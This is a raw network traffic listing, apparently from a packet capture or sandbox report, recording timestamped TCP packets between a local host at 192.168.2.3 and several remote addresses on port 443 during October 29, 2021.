Oct 29, 2021 14:10:29.959884882 CEST	49862	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:29.959901094 CEST	443	49862	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:30.272814989 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.272866011 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.273022890 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273066044 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.273067951 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273125887 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273288965 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273329973 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.273406029 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273564100 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273586988 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.273649931 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273829937 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.273874044 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.273945093 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274076939 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274101019 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.274252892 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274275064 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.274389982 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274410963 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.274518013 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274533033 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.274642944 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.274666071 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.317593098 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.317934990 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.317970991 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.319056988 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.319154024 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.321026087 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.321068048 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.321080923 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.321156979 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.321563959 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.321602106 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.321753979 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.321850061 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.321907997 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.322206974 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.322211981 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.322233915 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.322438002 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.322468996 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.322777987 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.322833061 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.322968006 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.323065996 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.323249102 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.323343039 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.323631048 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.323714972 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.324063063 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.324157953 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.326344967 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.326462984 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.326591015 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.326700926 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.326751947 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.326782942 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.326838970 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.326864004 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.328013897 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.328130007 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.328139067 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.328505039 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.328617096 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.328619957 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.342688084 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.342751980 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.342886925 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.342885017 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.342890024 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.342972994 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.342978001 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.342989922 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.343137980 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.343178034 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.343236923 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.343252897 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.343329906 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.343421936 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.344026089 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.344094038 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.344111919 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.344172001 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.344464064 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.344544888 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.344636917 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.344667912 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.354293108 CEST	49873	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.354331017 CEST	443	49873	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.356394053 CEST	49875	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.356419086 CEST	443	49875	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.357234001 CEST	49876	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.357271910 CEST	443	49876	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.358196974 CEST	49874	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.358243942 CEST	443	49874	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:30.361238003 CEST	49872	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:30.361258030 CEST	443	49872	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:32.012063980 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.012103081 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.012211084 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.014539957 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.014564037 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.025712013 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.025763988 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.025861979 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.026117086 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.026144028 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.054861069 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.055013895 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.066190958 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.066734076 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.085514069 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.085561037 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.086222887 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.086308956 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.087409973 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.091447115 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.091490030 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.092012882 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.092140913 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.094124079 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.128885031 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.136897087 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.226120949 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.226243973 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.226264954 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.226310015 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.226330042 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.226380110 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.226389885 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.226459980 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.227966070 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.228018999 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.228113890 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.228406906 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.228435993 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233509064 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233603954 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.233659983 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233725071 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.233741999 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233793020 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.233831882 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233901978 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.233913898 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233936071 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.233973026 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.233988047 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.243386984 CEST	49893	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.243427038 CEST	443	49893	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.243944883 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.243978977 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.244067907 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.244370937 CEST	49892	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.244388103 CEST	443	49892	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.246953011 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.246978045 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.247051001 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.247199059 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.247220039 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.247843981 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.247867107 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.265324116 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265353918 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265366077 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.265422106 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.265486956 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265516043 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265877008 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265897036 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.265902996 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.265934944 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.266114950 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.278753042 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.278806925 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.279640913 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.280220985 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.280339003 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.280356884 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.280414104 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.284447908 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.284522057 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.284910917 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.284970045 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.285000086 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.285320044 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.287094116 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.287152052 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.287374020 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.287431955 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.300935030 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.301039934 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.301742077 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.301836967 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.306107998 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.306266069 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.306305885 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.306341887 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.306397915 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.306823969 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.307257891 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.307333946 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.307825089 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.317779064 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.318141937 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.318236113 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.318703890 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.320074081 CEST	49894	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.320113897 CEST	443	49894	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.329680920 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.329756021 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.329766989 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.329827070 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.329829931 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.329881907 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.331408978 CEST	49899	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.331422091 CEST	443	49899	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.334781885 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.334873915 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.334875107 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.334923029 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.334944010 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.334974051 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.334988117 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.335005999 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.335033894 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.335051060 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.361922026 CEST	49900	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.361974001 CEST	443	49900	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.437489033 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.437556028 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.437653065 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.437721968 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.437738895 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.437789917 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.437802076 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.437822104 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.437856913 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.437875032 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.438354969 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.438380957 CEST	443	49897	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.438394070 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.438436031 CEST	49897	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.439124107 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.439201117 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.439253092 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.439297915 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.439306021 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.439373970 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.439502954 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.439532042 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.446135044 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.446182966 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.473261118 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.473366976 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.473799944 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.475523949 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.475581884 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.483333111 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.483433008 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.483817101 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.485411882 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.485465050 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.503266096 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.503374100 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.503407001 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.503446102 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.503478050 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.503509998 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.505126953 CEST	49904	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.505157948 CEST	443	49904	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.629621983 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.629715919 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.629789114 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.629854918 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.629875898 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.629919052 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.629944086 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.629967928 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.637712955 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.637821913 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.637882948 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.637955904 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.637975931 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.638029099 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.638045073 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.638067961 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.638098955 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.638115883 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.654923916 CEST	49905	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.654948950 CEST	443	49905	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.655340910 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.655385017 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.655452013 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.655813932 CEST	49898	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:32.655838966 CEST	443	49898	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:32.656244993 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.656296968 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.656373978 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.656575918 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.656609058 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.688222885 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.688249111 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.692871094 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.692977905 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.693375111 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.695193052 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.695277929 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723145962 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723227024 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.723267078 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723316908 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.723377943 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723428011 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.723455906 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723489046 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723515034 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.723536015 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.723711014 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.723771095 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.724225998 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.725924969 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.725985050 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.728477001 CEST	49907	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.728503942 CEST	443	49907	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.756264925 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.756341934 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.756361008 CEST	443	49906	185.199.108.133	192.168.2.3
